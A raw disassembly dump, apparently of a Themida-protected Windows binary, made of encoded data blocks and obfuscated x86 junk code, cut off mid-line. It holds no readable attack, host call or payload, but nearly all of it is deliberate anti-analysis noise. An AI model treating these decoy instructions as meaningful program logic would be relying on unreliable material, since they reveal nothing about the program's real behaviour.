21F5BC23h, 0CE4EAFA7h dd 1EBD3A20h, 32E5BCAFh, 0AE9F4958h, 54E66A67h, 0E426A2CAh dd 0A0C4C394h, 0C394E424h, 92E857ABh, 0B38E9974h, 39181ECFh dd 0A6277D55h, 0D81B3641h, 0A634DA2Fh, 0A12E06E9h, 7E8A694Dh dd 6D0C78ECh, 4983C394h, 946DA125h, 0F8DC26C3h, 0DADEE84Eh dd 0A72B2A6Eh, 0A142D463h, 5EA10762h, 0FF05F07Ah, 7B2226C0h dd 0C0A91D2Ch, 46379BBAh, 4AB80C31h, 5F395550h, 59A34845h dd 710FD66h, 849746CAh, 544CC1B5h, 3741D359h, 9490CBBFh dd 0EE665CC3h, 0C394909Ah, 5A77806Dh, 9CDDD966h, 77D7E8C7h dd 40B667D9h, 39E43241h, 0AF32DCE3h, 88h, 0FBDADE49h, 0CCD8C517h dd 0ABF657F1h, 0B23A4496h, 0C3941DD6h, 92AFF459h, 48B890BEh dd 0BFC95352h, 1DCDB92Dh, 7842C394h, 941D9CE8h, 12F13C3h dd 23C9F40Ch, 2296A3F2h, 3D0C1FEEh, 18DB7549h, 0E63F95EFh dd 0AA13E7DBh, 64996D54h, 0A25BB13Ch, 8F3240F2h, 5Fh, 0FBDADE69h dd 45708471h, 0AEF6A7ABh, 85164597h, 514227B2h, 2A937791h dd 0AE1FE3DAh, 7AE76B6Ah, 3046AF3Eh, 6559BD01h, 0CF5F020h dd 0EA2AC9F4h, 4D401EBDh, 0C5E49E94h, 0E6D3222Bh, 35B3D212h dd 0E132C394h, 261A3941h, 0A29DEB52h, 0A72660DEh, 54512BEBh dd 41188DBCh, 1A432h, 0DE400000h, 221D6BD3h, 0B2067A5Eh dd 3F83BECBh, 9E078602h, 0F9A5BE93h, 82C66EA3h, 5C3941Dh dd 1D27A3CBh, 52A8C394h, 25D01A7Eh, 0A910E4D3h, 0A4986C53h dd 0BAC4A640h, 0A0A41C05h, 0E069D11Ah, 0F3D7BB9Ah, 5DB48155h dd 67D4BD9Eh, 0B718F8B4h, 0B0826EDh, 0CF94337h, 2D20CEFBh dd 0ED7FEDD8h, 4921734Eh, 9C54CD05h, 3A61BCE8h, 0AED1B7Fh dd 0DF28889Dh, 0C63A1EE2h, 0A19CE914h, 21A38387h, 103A61BCh dd 0CBDCC5C0h, 7F8865FEh, 0FA0FFE42h, 38A4465Ah, 82669C1Eh dd 81C549ADh, 257FD9ADh, 1B3643A8h, 0DF0D3CD8h, 5B242C36h dd 0C0000001h, 0BCC233BDh, 15DD3185h, 0C3941D71h, 2A9EA3F8h dd 0F71169D6h, 9C4ED5A7h, 9EFF6908h, 8FCC6BDh, 9DEC54A1h dd 19AB48ACh, 0D8AC9DECh, 310C15E4h, 6EDF094Dh, 96A42825h dd 61B61E67h, 0B094E85Ch, 5762B796h, 0D3EA3AE3h, 0CA76BE6Fh dd 0C5398DB4h, 5BAC1DE1h, 1796906Eh, 0A9B9D7Bh, 0B7A590E5h dd 2EDC3E46h, 17997E4Fh, 9152FCD0h, 3505C667h, 4EE32Ch dd 0BD0D0000h, 0DD0B4A50h, 0BBA1BAC1h, 941D0733h, 49D605C3h dd 0D10C6B47h, 7C46C563h, 7C2C5888h, 0FC363C6Bh, 55D96BF1h dd 3C6B7C31h, 7C3753DBh, 42B83C6Bh, 5B638DF5h, 0E58BE040h dd 43823C01h, 4D69FD6Fh, 223C6BDAh, 97FC1BD8h, 4000000h dd 0E4760D6Fh, 9F052140h, 0B6C1AEBDh, 6AD3A79Bh, 0DC2BDA19h dd 2D2519EDh, 3A60CB59h, 1DFAD720h, 9612C125h, 5D211067h dd 357ECF79h, 0DB23D218h, 8AFE76E4h, 1D3A60C8h, 2F070B25h dd 3A60C960h, 34BC496Bh, 6680BFC9h, 0D27C92E7h, 3523C249h dd 81DD067Ah, 0BFA60FBh, 197DC1F8h, 0CE97DEFh, 0E1447189h dd 33443599h, 0D6087CF0h, 0BB9F3075h, 978BC2D2h, 73723623h dd 10DA613Bh, 6472799Ch, 3A3CA34Eh, 0F6296A60h, 495236BEh dd 0EDD52E5Bh, 9AE05F89h, 0D6FBB59h, 9540E476h, 1ABD85B9h dd 0B2CB3A20h, 0BD313B8Fh, 3A7987C9h, 0E600645Eh, 0C66EBB62h dd 0DB3F83B2h, 0BFCAED3Ch, 6145EF46h, 81C569FBh, 63A797Fh dd 7F26A2CAh, 51A93A79h, 0F710D37Dh, 32397A2h, 80AFAC2Bh dd 876C79B3h, 739C4772h, 0F6A72B26h, 302D91A0h, 7B8C7570h dd 2F78954Eh, 3E9AE12h, 73000000h, 0D4DE9C84h, 57A009FDh dd 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh dd 798871C5h, 0FA0DFC40h, 53CF7BCFh, 0BF57E389h, 54080337h dd 440DE781h, 0EF81533Dh, 343A6B1Ah, 94EFF781h, 0FB011BCDh dd 4EB835Fh, 5C241C87h, 24F168h, 24348900h, 7F7E68h, 242C8900h dd 659EB850h, 81500612h, 1234242Ch, 815E4C45h, 451234C6h dd 0C468584Ch, 89000025h, 4812424h, 424h, 0EC835D00h, 24348904h dd 0F8242C81h, 8F41915Ch, 45810845h, 915CF808h, 242C8B41h dd 81E38953h, 4C3h, 4C38100h, 87000000h, 0FF5C241Ch, 815E2434h dd 4C4h, 13EDE900h, 386FFFF9h, 34AA450Eh, 2001E6D0h, 0EF1DDA29h dd 6AB3B87Dh, 0C5030612h, 91D4E0FFh, 2D18520Dh, 0F0717BA6h dd 99756B90h, 2E566AB5h, 4F347E7Ah, 0A9FC4FE2h, 0B4194EDEh dd 73974CCEh, 0E57B5325h, 68A24E7Dh, 2DD6EBDh, 0A111186Dh dd 0A76B7CF5h, 88120E36h, 4B644DE7h, 0CF2A7BEBh, 196E504Eh dd 894A7615h, 0D30430FCh, 2C75CB9h, 0CE83340h, 37000000h dd 9718CA6Ch, 24960C70h, 81FD1E16h, 79B42AC9h, 8B66581Ah dd 0B6C081CEh, 0B9000070h, 7A44ACB7h, 1BF9BEh, 6030FF00h dd 0FE8B9h, 0DFD0811Eh, 611D7C20h, 0FFB70F5Ah, 0D7A8EA81h dd 0F606E1Ch, 28Ch, 8A5A5000h, 0F28161C8h, 52CCC6F7h, 512B01BBh dd 0DDEA814Bh, 8B03DA63h, 14E852F9h, 35000000h, 556FBC5Bh dd 0EC6D80A8h, 44828CEAh, 0DFFF6556h, 5FE94A85h, 7E8008Fh dd 68000000h, 6476914Ch, 0B70F504Eh, 0E88359CAh, 8C18104h dd 4E545EAFh, 1B850Fh, 8B660000h, 33E9D9h, 0D5080000h dd 128332ECh, 0D7E63EACh, 95D1A227h, 1B7F1822h, 0A8A0F91h dd 0F000000h, 48Fh, 0BBF6600h, 0FF5BE9EFh, 945EFFFFh, 239AB443h dd 0D17684D1h, 328D8D01h, 0B306126Dh, 4D8D89BEh, 6A060B17h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 1C1EC351h, 7B3BBA66h, 11985C7h, 6A60060Bh dd 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 7338FAC3h, 0EB316Eh, 8B66A007h, 985C7D9h, 60B10h, 0BF000000h dd 619D8066h, 2355B5FFh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 0B6D987C3h, 0C595FFD2h dd 6A060B0Ah, 0DD95FF00h, 8B060B32h, 810FEBC0h, 0CF73A7B7h dd 892D06AFh, 49DF13CAh, 0BE89A93h, 52000000h, 5D5C7659h dd 0F4FE446Ah, 0BE83F8Eh, 0EB000000h, 86416DBFh, 3399EE8Dh dd 8501CE80h, 60B1599h, 0B52B585Bh, 60B3309h, 5B53C081h dd 95230000h, 60B2895h, 68h, 55958900h, 59060B1Bh, 0BE0134FFh dd 46AB7D40h, 0FE9575Fh, 83000000h, 93401FDAh, 0D1561823h dd 44AC80E1h, 815EA5C8h, 66EA2DF7h, 0B5F28026h, 75D5C781h dd 9D2940F4h, 60B05F1h, 0A73FC781h, 89F9522Eh, 0F78B083Ch dd 8380E680h, 0E96004E9h, 12h, 0DD9BADA6h, 8C7BA9D0h, 0F82A467Dh dd 2B4E014Ch, 890F7EE8h, 5, 3CE431BEh, 0F9816105h, 0FFFFA574h dd 0FF8A850Fh, 0FE9FFFFh, 0E3000000h, 0A3929B0Ch, 4B4D8DFFh dd 36CF0412h, 0C08B0112h, 187h dup(0) dd 840F0000h, 1, 18E0FF8h, 0F5000000h, 6A9DF5h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0C16C64C3h, 56D3BA0h, 18A0F60h, 0F5000000h, 61C88B66h dd 78A0F61h, 0F000000h, 18Ah, 6A5DFC00h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 7714C355h dd 0F0F84D8h, 1982h, 14E900h, 241E0000h, 0C364B19Eh, 8937735h dd 2708E0E0h, 0A1CF058Dh, 4401DCADh, 6A0824h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0D0E77FC3h dd 0A130B393h, 8E28060h, 880F5861h, 1, 6AC39DFCh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 58A5C357h, 6078C253h, 705E9ABBh, 0E8606119h, 0Fh, 0BD49E1D8h dd 0C2FFB29Ah, 33EEA76Ch, 669E33EFh, 58F39CBEh, 58C0Fh dd 81660000h, 6142ACC0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0D1C35343h, 0F9AF9E9Ah, 0CE9C08Bh, 83000000h dd 0B3DDE4D1h, 66EE305Ah, 0E9149E11h, 0Dh, 2C140B66h, 0BE5BBFA9h dd 0CAFDF6EAh, 18D0F0Fh, 0F9000000h, 0AE9h, 0E34D1500h dd 4CE3CA79h, 80BEB602h, 66FC9AEBh, 50A8DF81h, 66CFBF0Fh dd 6E8FC881h, 0BE9h, 703CEF00h, 51861D3Bh, 0A4FDC047h dd 66FB8B66h, 12E8C28Bh, 7C000000h, 6CCF1AB1h, 0CADA6482h dd 0FE480086h, 526D3610h, 0B3BE664Eh, 3CBB5960h, 0F503B40h dd 6652CFB7h, 5BA17FBFh, 0FCFDC580h, 10E9h, 539C9300h dd 0E9724526h, 0F619BDEEh, 1CE73B22h, 0E9D38B34h, 13h dd 84C446BFh, 6060F13Bh, 1E63CAF9h, 87889760h, 66E537A6h dd 0E9FCD78Bh, 0Eh, 0B357B0D7h, 0AD442F54h, 0CCF1EF81h dd 0BF0F4B9Ah, 0E78166F8h, 0E58AFDC7h, 18810Fh, 8F0F0000h dd 12h, 0DE9h, 0C5801000h, 1F8FD21Eh, 333FEFEFh, 8B66F16Eh dd 811CB1C2h, 0CDA5F4F0h, 8D0FF57Eh, 5, 59EB8166h, 80C68BA4h dd 0CB8088F0h, 0CB8B66BDh, 0CE9h, 2BB12F00h, 9C8D9C55h dd 0BB7F7805h, 2CD78193h, 0E929327Ch, 11h, 3E6C0B1Eh, 3E7C8A6h dd 21A6D9C0h, 4731F214h, 0B9F780E0h, 94CF8160h, 8B2BEA56h dd 0DE961C8h, 85000000h, 2CBCAADDh, 0A173C171h, 0A09DDAA9h dd 3810Fh, 0C5800000h, 13E580B8h, 5880F60h, 0B9000000h dd 21345A43h, 70BF6661h, 0AE91Eh, 32320000h, 60183D19h dd 78CACCC1h, 0C25EDB81h, 12E92442h, 0B4000000h, 15C1A0Ch dd 0F33FAFFEh, 6881BC95h, 7D3A2395h, 9E954h, 0EADA0000h dd 443A784Ah, 0F8FF04Eh, 383h, 0DBB70F00h, 27B966FCh, 830F602Ah dd 0Ch, 6E8h, 0AD306F00h, 5B566BF5h, 0B8C0Fh, 5E80000h dd 0A1000000h, 87602E08h, 0F576159h, 28Bh, 595A5100h, 6E9h dd 7BEC6C00h, 80448AE1h, 0B70F0EE9h, 76DA81FEh, 0F765D3Dh dd 0E780C2B7h, 0B70F6089h, 9E881D6h, 61662568h, 81665851h dd 0B34BBDE6h, 0CDB96612h, 0F0BA6660h, 0FE88AB8h, 586h dd 1988B900h, 5956669Ch, 0C332E381h, 8E918D9h, 0EA000000h dd 56AFDF09h, 805DECEEh, 14E960C6h, 0B2000000h, 208FAD52h dd 0A1B2FCB7h, 0E0B491BAh, 9F4C2E9Ch, 666A4213h, 8B7B1FBBh dd 0E08166CFh, 66608A13h, 0A2B4D281h, 386ED281h, 66616FDAh dd 0E97372B9h, 7, 0A385FEB7h, 66A0D618h, 0FF5C68Bh, 0E38AF0BFh dd 4850Fh, 0BA660000h, 0D78B2234h, 11E9h, 0DE353800h, 0BBA5CB8Fh dd 0B3539721h, 0B201C870h, 59BA5374h, 6049D121h, 11E8h dd 0A7ABDD00h, 54DF48E7h, 11E256BBh, 8955782h, 58FC0142h dd 8161D18Bh, 3C26C3C8h, 13E963h, 9E4D0000h, 1E160F8h dd 0DC0C7689h, 0BFB08FBDh, 7A0B3CD8h, 0B6F860ECh, 66F961FDh dd 0B378EE81h, 870F8DB0h, 3, 0FBDDF80h, 0F08BCFB7h, 14E9F9F9h dd 0C7000000h, 0E4403A6Ch, 0E0957F52h, 9EF83CB7h, 0ADF3B73Dh dd 0E95D6186h, 8, 6DBFEBA6h, 0EE8D8641h, 0FB8B66F8h, 0B5C3B70Fh dd 1FF3810Dh, 815EC6B9h, 8A533AE3h, 0B759572Eh, 3830FC3h dd 0F000000h, 0C880F7BFh, 0C5CE80CBh, 0E9CEB70Fh, 0Eh dd 53812969h, 57846075h, 99AAE817h, 5E814F7h, 0BC000000h dd 0AE10C602h, 78C08060h, 0CCB65F61h, 0E1CB8166h, 0A880F40h dd 0E9000000h, 5, 2F517E49h, 8F0FF5FBh, 0Ch, 68E0Fh, 800F0000h dd 0 ; --------------------------------------------------------------------------- mov cx, ax xor si, 9597h mov esi, 1853C752h jl loc_5B39E1 mov ebx, edi loc_5B39E1: ; CODE XREF: Themida_:005B39D9j jmp loc_5B39FA ; --------------------------------------------------------------------------- mov esp, 747BF104h cmp bh, [eax-68E26D1Bh] pop edi pop ds jmp fword ptr [ecx] ; --------------------------------------------------------------------------- dw 574Fh db 38h, 0A6h ; --------------------------------------------------------------------------- loc_5B39FA: ; CODE XREF: Themida_:loc_5B39E1j mov edx, 2A516B4h call near ptr loc_5B3A09+3 mov esp, 0E1A83C07h loc_5B3A09: ; CODE XREF: Themida_:005B39FFp mov ecx, 5FF51480h movzx ebx, di call sub_5B3A22 adc ebp, ebp db 64h aas pop esi retn ; --------------------------------------------------------------------------- dd 7739C177h db 67h, 2Bh ; =============== S U B R O U T I N E ======================================= sub_5B3A22 proc near ; CODE XREF: Themida_:005B3A11p call near ptr loc_5B3A2E+4 dec edx mov esp, 51A077CCh pop ecx loc_5B3A2E: ; CODE XREF: sub_5B3A22p imul ebx, [edx+9E80590h], 0 sub_5B3A22 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0), 0C1h ; --------------------------------------------------------------------------- enter 3B8h, 63h popa adc bl, dh adc al, 5Bh pop edi pop edi jmp loc_5B3A59 ; --------------------------------------------------------------------------- dd 5D49C127h, 6EFC33B5h, 0BE7F5584h, 7CD448A6h ; --------------------------------------------------------------------------- dec esi loc_5B3A59: ; CODE XREF: Themida_:005B3A43j jo $+6 mov ebx, 4DA0911h movsx esi, di mov cx, 7AABh jmp loc_5B3A77 ; --------------------------------------------------------------------------- dd 0BCBB4ABFh db 4Fh, 0C0h, 35h ; --------------------------------------------------------------------------- loc_5B3A77: ; CODE XREF: Themida_:005B3A6Bj pusha pusha movzx esi, bx popa mov eax, 33FD3150h popa xor bx, 8900h sub edi, 362499FFh push edx xor ax, 0BAFEh pop ebx mov dx, ax jb $+6 xor edi, 287B29E5h jmp loc_5B3ABD ; --------------------------------------------------------------------------- sti sub ah, ah mov edx, 0A4A86946h mov ds:0D0F10B29h, eax cmp eax, 34F992C9h jns short loc_5B3B02 loc_5B3ABD: ; CODE XREF: Themida_:005B3AA4j jmp loc_5B3AD4 ; --------------------------------------------------------------------------- dw 5BF5h dd 2F2A877Ch, 19BFF7FAh, 6591CD40h, 2E28B5B0h ; --------------------------------------------------------------------------- loc_5B3AD4: ; CODE XREF: Themida_:loc_5B3ABDj jmp loc_5B3ADE ; --------------------------------------------------------------------------- db 80h, 0D5h, 0B4h db 84h, 0ABh ; --------------------------------------------------------------------------- loc_5B3ADE: ; CODE XREF: Themida_:loc_5B3AD4j mov ah, 0BEh mov esi, 6A95C489h stc pusha push ecx mov ax, dx pop ecx mov ecx, 459E54FDh popa jg loc_5B3B09 call sub_5B3B06 ; --------------------------------------------------------------------------- db 8Ch, 0F4h, 0D4h db 8, 6Bh ; --------------------------------------------------------------------------- loc_5B3B02: ; CODE XREF: Themida_:005B3ABBj sti les ebx, [ebx] movsb ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5B3B06 proc near ; CODE XREF: Themida_:005B3AF8p push edx pop ecx pop ecx loc_5B3B09: ; CODE XREF: Themida_:005B3AF2j mov bx, di jno loc_5B3B2C js loc_5B3B2C jmp loc_5B3B2C ; --------------------------------------------------------------------------- db 0F6h, 0BDh, 51h dd 0AFAAEEECh, 71D67B2Bh, 5372D7CBh ; --------------------------------------------------------------------------- loc_5B3B2C: ; CODE XREF: sub_5B3B06+6j ; sub_5B3B06+Cj ... mov ebx, esi mov ecx, edi jmp loc_5B3B3B ; --------------------------------------------------------------------------- db 71h, 9Ch, 0C9h db 0F3h, 7Fh, 8Ch ; --------------------------------------------------------------------------- loc_5B3B3B: ; CODE XREF: sub_5B3B06+2Aj sub dl, 85h and edx, 26372AE5h movsx ecx, di jmp loc_5B3B5D ; --------------------------------------------------------------------------- dd 0EA802F50h, 0A473CE58h, 7D9B0D4Ch, 3CDCA8Bh ; --------------------------------------------------------------------------- cmpsb loc_5B3B5D: ; CODE XREF: sub_5B3B06+41j mov dx, 7CC4h mov bx, di mov di, 5238h jmp loc_5B3B72 ; --------------------------------------------------------------------------- db 0F0h, 51h, 89h db 26h, 23h ; --------------------------------------------------------------------------- loc_5B3B72: ; CODE XREF: sub_5B3B06+62j mov edi, ecx movsx edx, dx clc mov si, cx stc movsx ebx, ax jmp loc_5B3B97 ; --------------------------------------------------------------------------- dd 1001368Ch, 0ACD05A53h, 23256574h, 545175CAh db 0C5h, 0BAh, 7Dh ; --------------------------------------------------------------------------- loc_5B3B97: ; CODE XREF: sub_5B3B06+79j call loc_5B3BAF scasb lea eax, [esi] adc ebx, [ebx-5Eh] std faddp st(7), st xor eax, 4E80B363h hlt sub_5B3B06 endp ; sp-analysis failed ; --------------------------------------------------------------------------- fidivr word ptr [eax] pop ss inc ebx loc_5B3BAF: ; CODE XREF: sub_5B3B06:loc_5B3B97p stc pop eax mov eax, 0CDF0B72h mov ebx, edx mov edi, 22B8A361h mov ecx, 2805B3E0h movsx edx, di movzx eax, ax mov al, dl jmp loc_5B3BE1 ; --------------------------------------------------------------------------- db 15h dd 0B018ADE5h, 86F9A44Eh, 399396F5h, 9065B101h db 26h ; --------------------------------------------------------------------------- loc_5B3BE1: ; CODE XREF: Themida_:005B3BCAj jmp loc_5B3BF4 ; --------------------------------------------------------------------------- dw 2A19h dd 0D2D476C1h, 3D1515BDh, 9A45BE3Ch ; --------------------------------------------------------------------------- loc_5B3BF4: ; CODE XREF: Themida_:loc_5B3BE1j mov di, cx jle $+6 add si, 24E0h push esi or bh, 2Ah pop esi mov edx, esi jmp loc_5B3C1F ; --------------------------------------------------------------------------- dw 7A5Dh dd 93718E4Eh, 3402EA42h, 0E5B0B5C8h db 1Ah, 1Bh, 0A2h ; --------------------------------------------------------------------------- loc_5B3C1F: ; CODE XREF: Themida_:005B3C09j call loc_5B3C38 sub [edi+3EFD426Ch], ecx ; --------------------------------------------------------------------------- dw 0CCC5h dd 0C13710Eh, 993A62Bh, 0A30067D6h ; --------------------------------------------------------------------------- loc_5B3C38: ; CODE XREF: Themida_:loc_5B3C1Fp sub di, 0EFAEh pop esi jle loc_5B3C47 and dl, 6Eh loc_5B3C47: ; CODE XREF: Themida_:005B3C3Ej jbe loc_5B3C50 movsx edi, bx loc_5B3C50: ; CODE XREF: Themida_:loc_5B3C47j pusha xor al, 0E8h js loc_5B3C73 jmp loc_5B3C73 ; --------------------------------------------------------------------------- retf 1BB9h ; --------------------------------------------------------------------------- dw 4D1Bh dd 0DE1A6619h, 6D9C3546h, 4BF21650h db 9, 1Eh, 0CEh ; --------------------------------------------------------------------------- loc_5B3C73: ; CODE XREF: Themida_:005B3C54j ; Themida_:005B3C5Aj popa push edi jmp loc_5B3C7F ; --------------------------------------------------------------------------- dw 7096h ; --------------------------------------------------------------------------- cmc sal cl, 1 loc_5B3C7F: ; CODE XREF: Themida_:005B3C75j pop edx adc si, 0CD2Dh jmp loc_5B3C93 ; --------------------------------------------------------------------------- dw 7A5Eh ; --------------------------------------------------------------------------- shl dword ptr [esi-1F249DA7h], 7Dh loc_5B3C93: ; CODE XREF: Themida_:005B3C85j mov ebx, 51C2CF13h jmp loc_5B3CA8 ; --------------------------------------------------------------------------- db 6Bh, 0B9h, 9Ah dd 3E4C1F76h, 0E54B0E06h ; --------------------------------------------------------------------------- loc_5B3CA8: ; CODE XREF: Themida_:005B3C98j or bl, 0A4h jb loc_5B3CB6 xor di, 0D71Eh loc_5B3CB6: ; CODE XREF: Themida_:005B3CABj mov cx, 8845h cld mov esi, 699D945Dh adc ah, 63h jmp loc_5B3CD1 ; --------------------------------------------------------------------------- dd 0BEB596CFh, 2A20AC9Ch db 32h ; --------------------------------------------------------------------------- loc_5B3CD1: ; CODE XREF: Themida_:005B3CC3j jmp loc_5B3CE2 ; --------------------------------------------------------------------------- dw 337Ch dd 0D5B97C95h, 0FF861363h db 76h, 0EAh ; --------------------------------------------------------------------------- loc_5B3CE2: ; CODE XREF: Themida_:loc_5B3CD1j jnz $+6 xor esi, 7A611659h mov al, 40h pusha popa jp loc_5B3CFD mov esi, 3F264CE3h loc_5B3CFD: ; CODE XREF: Themida_:005B3CF2j add esi, 63548D01h mov esi, 3552B57Ch mov eax, esi mov edx, eax jmp loc_5B3D18 ; --------------------------------------------------------------------------- db 0A0h, 92h, 0Ah dd 0A819D718h ; --------------------------------------------------------------------------- loc_5B3D18: ; CODE XREF: Themida_:005B3D0Cj adc ax, 5376h pusha jmp loc_5B3D30 ; --------------------------------------------------------------------------- db 4Eh dd 0EDA3087Ch, 0E8D0168Eh, 0CEA99DADh ; --------------------------------------------------------------------------- loc_5B3D30: ; CODE XREF: Themida_:005B3D1Ej or edx, 72079E5Ah popa mov ebx, eax movzx esi, bx stc mov ch, 70h movzx esi, cx jmp loc_5B3D53 ; --------------------------------------------------------------------------- enter 550Eh, 41h fisub word ptr [ebx+52h] push esp mov word ptr [eax+ebp-19h], es loc_5B3D53: ; CODE XREF: Themida_:005B3D42j mov ax, 0B55Ch sbb edi, 31B26FDAh mov ebx, 0A45AF67h mov ebx, edi add cx, 1939h jnb loc_5B3D88 call sub_5B3D81 pop esp ; --------------------------------------------------------------------------- db 8Fh, 0F9h, 0Fh dd 173B728Fh, 5C15AA6Ch db 2Ah ; =============== S U B R O U T I N E ======================================= sub_5B3D81 proc near ; CODE XREF: Themida_:005B3D6Fp ja $+6 pop esi loc_5B3D88: ; CODE XREF: Themida_:005B3D69j movzx eax, di and bx, 8BDCh mov dh, 9Ah call sub_5B3DA8 or dword ptr [eax], 1D69950Eh mov esp, 505F8249h enter 59E1h, 0DBh mov cl, 3Fh sub_5B3D81 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B3DA8 proc near ; CODE XREF: sub_5B3D81+11p pusha and ebx, 6B6E5D48h jmp loc_5B3DC3 ; --------------------------------------------------------------------------- sub al, 77h add [ebx], dl lodsd cmpsb mov ebp, 0F73E9F81h and ebx, [eax+edi*4-59h] loc_5B3DC3: ; CODE XREF: sub_5B3DA8+7j popa pop ebx mov cx, si mov eax, ebx jmp loc_5B3DD6 ; --------------------------------------------------------------------------- mov ah, 0EBh add eax, 3929B19Dh loc_5B3DD6: ; CODE XREF: sub_5B3DA8+22j push ebx jmp loc_5B3DE9 ; --------------------------------------------------------------------------- dd 1D35A147h ; --------------------------------------------------------------------------- loc_5B3DE0: ; CODE XREF: sub_5B3DA8+91j nop push cs insd pop edx sub al, [edi] leave ; --------------------------------------------------------------------------- db 4 ; --------------------------------------------------------------------------- loc_5B3DE9: ; CODE XREF: sub_5B3DA8+2Fj pop edx mov di, ax jmp loc_5B3E00 ; --------------------------------------------------------------------------- dw 6969h dd 9B2838B9h, 7EA68CCEh, 38BCB610h ; --------------------------------------------------------------------------- loc_5B3E00: ; CODE XREF: sub_5B3DA8+45j js loc_5B3E08 mov esi, edi loc_5B3E08: ; CODE XREF: sub_5B3DA8:loc_5B3E00j movzx edx, si add al, 0E1h xor bx, 5842h movsx eax, dx push esi movsx ebx, dx pop eax add ebx, 308B36BCh mov dx, si call sub_5B3E3B mov ebp, 0DF4CEEF6h mov bh, bl xchg eax, esp xchg eax, edx xchg eax, esi adc ah, [ecx+6236DF1Ah] loop loc_5B3DE0 sub_5B3DA8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B3E3B proc near ; CODE XREF: sub_5B3DA8+7Cp stc pop eax jmp loc_5B3E4E ; --------------------------------------------------------------------------- dw 94B3h dd 7C96F406h, 740082B0h db 69h, 9Eh ; --------------------------------------------------------------------------- loc_5B3E4E: ; CODE XREF: sub_5B3E3B+2j jmp loc_5B3E5C ; --------------------------------------------------------------------------- db 8 dd 5E7F353Bh, 0DED69E83h ; --------------------------------------------------------------------------- loc_5B3E5C: ; CODE XREF: sub_5B3E3B:loc_5B3E4Ej xor edi, 15DEF261h mov dh, 32h mov ecx, 3979916Ch pusha movsx ecx, bx sub ebx, 4F7C76A8h popa jmp loc_5B3E8C ; --------------------------------------------------------------------------- db 8, 35h, 0AEh dd 1188B17Ah, 11BC0568h, 0B3E12214h, 808BA33Eh ; --------------------------------------------------------------------------- loc_5B3E8C: ; CODE XREF: sub_5B3E3B+39j sbb bx, 60B5h push eax stc pop ebx mov ebx, 6480084Eh mov esi, edx xor bh, 0FCh mov ecx, 2D345300h movsx ecx, dx mov cx, dx add ebx, 20D4D0B4h mov di, 1260h and esi, 6F8D4546h sbb di, 9040h jmp loc_5B3ECE ; --------------------------------------------------------------------------- db 56h dd 0A28EE117h, 0B2F8B072h ; --------------------------------------------------------------------------- test ebp, edi loc_5B3ECE: ; CODE XREF: sub_5B3E3B+83j movsx ecx, ax movzx esi, si mov ebx, 7D07D731h movzx edi, bx mov si, 4A69h jmp loc_5B3EF6 ; --------------------------------------------------------------------------- db 0FFh, 0FCh, 3Ah dd 0CCA95BF0h, 9DB51B2h, 8A0CC40Eh db 81h, 2Eh ; --------------------------------------------------------------------------- loc_5B3EF6: ; CODE XREF: sub_5B3E3B+A5j jmp loc_5B3F08 ; --------------------------------------------------------------------------- sub esi, [edx+5Fh] cmp byte ptr [edx-3044A496h], 7 cdq push 38h loc_5B3F08: ; CODE XREF: sub_5B3E3B:loc_5B3EF6j mov si, 0DB66h mov cx, 72C5h pusha popa cld jno loc_5B3F1C mov di, ax loc_5B3F1C: ; CODE XREF: sub_5B3E3B+D8j add eax, 66F76401h mov ax, dx mov edi, ecx jz loc_5B3F2F mov dl, bl loc_5B3F2F: ; CODE XREF: sub_5B3E3B+ECj movsx eax, di call near ptr loc_5B3F3D+2 stosb mov ds:551A7776h, al loc_5B3F3D: ; CODE XREF: sub_5B3E3B+F7p xor eax, 5FD98B69h sub_5B3E3B endp ; sp-analysis failed mov esi, edi mov dx, ax xor di, 5496h jmp loc_5B3F5F ; --------------------------------------------------------------------------- daa adc al, 0E8h sbb dword ptr [esi+ecx*8], 419A224Fh mov ch, 8Fh cmp [esi], ch loc_5B3F5F: ; CODE XREF: Themida_:005B3F4Cj push ecx xor ebx, 7923BAD1h pop edi and esi, 614039B3h mov esi, edx mov bx, cx ; CODE XREF: Themida_:005B3FAAj movsx edi, di mov ax, bx clc xor esi, 6C7121D1h movsx edx, cx mov dl, 83h pusha ja near ptr loc_5B3F92+5 call near ptr loc_5B3F92+4 sub al, 84h loc_5B3F92: ; CODE XREF: Themida_:005B3F8Bp ; Themida_:005B3F85j arpl [eax+66582723h], si sub esi, 0E96142DAh sldt word ptr [eax] add al, ah repne and eax, 296AA08Ah dec esp loopne near ptr loc_5B3F6F+1 outsb cld sbb edi, [edi+eax*8-18h] or [eax], al ; --------------------------------------------------------------------------- dd 0FD00000h, 6605AAFCh, 0B70FF83Eh, 0FFC58D8h, 0EDB8F8BFh dd 6643F2C8h, 0A4ABDF81h, 5DD98166h, 0FE6DB9DDh, 81661287h dd 603F3DD0h, 8E9h, 4BEED00h, 1759F5EBh, 0AE96Ah, 26930000h dd 9D6BEA05h, 0F98C3707h, 0D6BF0F61h, 4820F51h, 66000000h dd 5F43C6B9h, 0D9B699B7h, 356AB6BFh, 5BF5571Bh, 66F88B66h dd 44CBEA81h, 0CE857h, 26560000h, 0D0700B22h, 7DFDFBE2h dd 8F0FA20Dh, 0 ; --------------------------------------------------------------------------- pop edx pop edx jmp loc_5B4053 ; --------------------------------------------------------------------------- db 0CEh dd 0E4B3E738h, 15088E67h, 0A6B020B2h, 0EE2F9E1Ah ; --------------------------------------------------------------------------- jmp short loc_5B4059 ; --------------------------------------------------------------------------- db 65h ; --------------------------------------------------------------------------- loc_5B4053: ; CODE XREF: Themida_:005B403Aj jz loc_5B405C loc_5B4059: ; CODE XREF: Themida_:005B4050j movsx ebx, cx loc_5B405C: ; CODE XREF: 